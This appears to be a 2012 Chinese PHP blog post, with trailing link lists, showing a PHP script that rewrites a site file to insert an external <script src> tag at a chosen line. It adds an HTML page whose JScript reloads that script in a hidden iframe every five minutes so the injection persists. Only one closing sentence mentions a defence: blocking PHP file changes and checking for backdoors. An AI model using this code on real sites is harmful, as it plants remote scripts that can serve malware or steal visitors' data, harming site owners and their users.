php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
PHP 和 MySQL 开发的 8 个技巧
Oct 09 PHP
使用array_map简单搞定PHP删除文件、删除目录
Oct 29 PHP
php下foreach提示Warning:Invalid argument supplied for foreach()的解决方法
Nov 11 PHP
thinkphp普通查询与表达式查询实例分析
Nov 24 PHP
PHP学习笔记(三):数据类型转换与常量介绍
Apr 17 PHP
PHP、Java des加密解密实例
Apr 27 PHP
PHP设计模式之装饰者模式代码实例
May 11 PHP
php中实现用数组妩媚地生成要执行的sql语句
Jul 10 PHP
ThinkPHP框架安全实现分析
Mar 14 PHP
php结合web uploader插件实现分片上传文件
May 10 PHP
PHP使用preg_split()分割特殊字符(元字符等)的方法分析
Feb 04 PHP
yii2.0框架数据库操作简单示例【添加,修改,删除,查询,打印等】
Apr 13 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
用PHP实现小型站点广告管理(修正版)
2006/10/09 PHP
php利用腾讯ip分享计划获取地理位置示例分享
2014/01/20 PHP
PHP图片处理之图片背景、画布操作
2014/11/19 PHP
php实现用于验证所有类型的信用卡类
2015/03/24 PHP
WordPress中创建用户角色的相关PHP函数使用详解
2015/12/25 PHP
事件模型在各浏览器中存在差异
2010/10/20 Javascript
jQuery EasyUI API 中文文档 - ComboTree组合树
2011/10/11 Javascript
js中indexof的用法详细解析
2013/12/24 Javascript
JavaScript数字和字符串转换示例
2014/03/26 Javascript
Javascript数组操作函数总结
2015/02/05 Javascript
jstree创建无限分级树的方法【基于ajax动态创建子节点】
2016/10/25 Javascript
JavaScript中数据类型转换总结
2016/12/25 Javascript
node跨域请求方法小结
2017/08/25 Javascript
vue+webpack实现异步加载三种用法示例详解
2018/04/24 Javascript
详解js获取video任意时间的画面截图
2019/04/17 Javascript
layui table设置某一行的字体颜色方法
2019/09/05 Javascript
Vue 实现从文件中获取文本信息的方法详解
2019/10/16 Javascript
vue循环中点击选中再点击取消(单选)的实现
2020/09/10 Javascript
python小技巧之批量抓取美女图片
2014/06/06 Python
python对html代码进行escape编码的方法
2015/05/04 Python
详解Python中使用base64模块来处理base64编码的方法
2016/07/01 Python
python等待10秒执行下一命令的方法
2020/07/19 Python
Python实现手绘图效果实例分享
2020/07/22 Python
详解selenium + chromedriver 被反爬的解决方法
2020/10/28 Python
Html5页面上如何禁止手机虚拟键盘弹出
2020/03/19 HTML / CSS
英国著名的药妆网站:Escentual
2016/07/29 全球购物
eBay加拿大站:eBay.ca
2019/06/20 全球购物
东南亚冒险旅行与活动:Adventoro
2019/10/16 全球购物
No7 Beauty美国官网:英国国民护肤品牌
2019/10/31 全球购物
大专应届生个人的自我评价
2013/11/21 职场文书
2014年元旦感言
2014/03/06 职场文书
授权委托书样本
2014/09/25 职场文书
银行党员批评与自我批评
2014/10/15 职场文书
数学备课组工作总结
2015/08/12 职场文书
Python爬虫基础之初次使用scrapy爬虫实例
2021/06/26 Python
蓝牙耳机怎么连接电脑win11? Win11蓝牙耳机连接电脑的技巧
2023/01/09 数码科技